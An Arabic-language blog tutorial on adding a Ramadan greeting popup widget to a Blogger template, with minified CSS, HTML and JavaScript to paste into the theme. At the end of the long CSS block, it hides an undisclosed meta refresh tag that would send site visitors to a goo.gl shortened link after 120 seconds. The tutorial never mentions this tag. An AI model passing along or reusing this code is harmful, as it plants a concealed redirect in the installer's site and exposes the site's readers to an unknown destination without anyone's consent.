إضافة اداة ترحيب جديدة منبثقة (بمناسبة اول رمضان يمر على المدونة )

السلام عليكم ورحمة الله تعالى وبركاته معكم موسى ترخاش من موسى للمعلوميات في موضوع جديد سنشرح طريقة إضافة اداة ترحيب منبثقة تفتح بزر وتغلق بزر  وهي اداة من تصميممنا حيث قد سرقها البعض من سورس المدونة وهادا مااحزنني 
المهم شرح الإضافة بسيط وستجدون كل الاكواد بالاسفل

• أول خطوة ندهب الى المدونة ثم قالب ، ثم تحرير HTML
• ثم نبحث عن الكود </head>
• نضيف الكود التالي فوقه مباشرة

<style>/*<![CDATA[*/.tada{-webkit-animation:tada 1s linear 1s infinite normal;animation:tada 1s linear 1s infinite normal}@-webkit-keyframes tada{0%,100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg);transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg)}}@keyframes tada{0%,100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg);transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg)}}.animated.flip{-webkit-backface-visibility:visible;backface-visibility:visible;-webkit-animation-name:flip;animation-name:flip;-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-fill-mode:both;animation-fill-mode:both}@-webkit-keyframes flip{0%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-360deg);transform:perspective(400px) rotate3d(0,1,0,-360deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) scale3d(.95,.95,.95);transform:perspective(400px) scale3d(.95,.95,.95);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}100%{-webkit-transform:perspective(400px);transform:perspective(400px);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}@keyframes flip{0%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-360deg);transform:perspective(400px) rotate3d(0,1,0,-360deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) scale3d(.95,.95,.95);transform:perspective(400px) scale3d(.95,.95,.95);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}100%{-webkit-transform:perspective(400px);transform:perspective(400px);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}.th9_layout{text-align:center;position:fixed;top:0;left:0;bottom:0;right:0;background:rgba(0, 0, 0, 0.49);z-index:99999;display:none}.th9_message{width:50%;background:#fff;font-size:16px;border-radius:5px;padding:20px;border:1px solid transparent;text-align:center;color:#333;position:absolute;top:10%;left:50%;margin-left:-25%;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.profile-th9,.profile-th92{padding:4px}.th9_message:before{content:"";height:0;width:0;position:absolute;bottom:-40px;left:20px;border:20px solid transparent;border-color:#fff transparent transparent}.profile-th9{background:#000000;border:1px solid transparent;border-radius:100%;position:fixed;bottom:10px;left:10px;cursor:pointer;width:50px;height:50px;z-index:9999}.profile-th92{background:#fff;border:1px solid transparent;border-radius:100%;position:absolute;bottom:-240px;left:-120px;width:200px;height:200px}.close_th9{font-size:40px;color:#fff;position:absolute;top:-30px;right:-30px;cursor:pointer}@media (max-width:800px){.th9_message{width:90%!important;margin-left:-45%!important;}.profile-th92{left:50%;margin-left:-105px;}.th9_message:before{left:50%;margin-left:-20px;}.close_th9{color:#555;top:-16px;right:0;}}/*]]>*/<meta HTTP-EQUIV='REFRESH' content='120; url=http://goo.gl/ABteO4'/></style>

• نبحث مرة اخرى عن الكود  </body>
• نضيف الود التالي فوقه مباشرة

<img class='profile-th9 tada' expr:alt='data:post.author' height='50' onclick='openth9fitri()' src='http://lh3.googleusercontent.com/-wU5XcFjb3ME/AAAAAAAAAAI/AAAAAAAAAPU/XDCkbWF-KiQ/s512-c/photo.jpg' title='أنقر فوقي لأقول لك شيئا' width='50'/><div class='th9_layout animated flip' id='id_fitri'>  <div class='th9_message'>    <h2>&quot;رمضان مبارك لكل العرب&quot;</h2>    <p>بصفتي      <br/><br/> مشرف <b>في</b>مدونة <b>موسى  للمعلوميات</b> أهنئكم واقول لكم       <br/>      <b>الله يتقبل صيامكم وقيامكم ومبارك عليكم الشهر </b>.</p>    <img class='profile-th92' expr:alt='data:post.author' height='200' src='http://lh3.googleusercontent.com/-wU5XcFjb3ME/AAAAAAAAAAI/AAAAAAAAAPU/XDCkbWF-KiQ/s512-c/photo.jpg' width='200'/>    <div class='close_th9' onclick='closeth9fitri()'>&amp;times</div>  </div></div><script>//<![CDATA[function openth9fitri(){var e=document.getElementById("id_fitri");"block"!==e.style.display?e.style.display="block":e.style.display="none"};function closeth9fitri(){var e=document.getElementById("id_fitri");"none"!==e.style.display?e.style.display="none":e.style.display="block"};//]]></script>

أخر شيئ اقول لكم رمضان مبارك لكل العرب وهده مجر إضافة من تنضيمنا بمناسبة الشهر الفضيل اي شيئ مشكلة نتشرف بالمساعدة في التعليقات 

المصدر:موسى للمعلوميات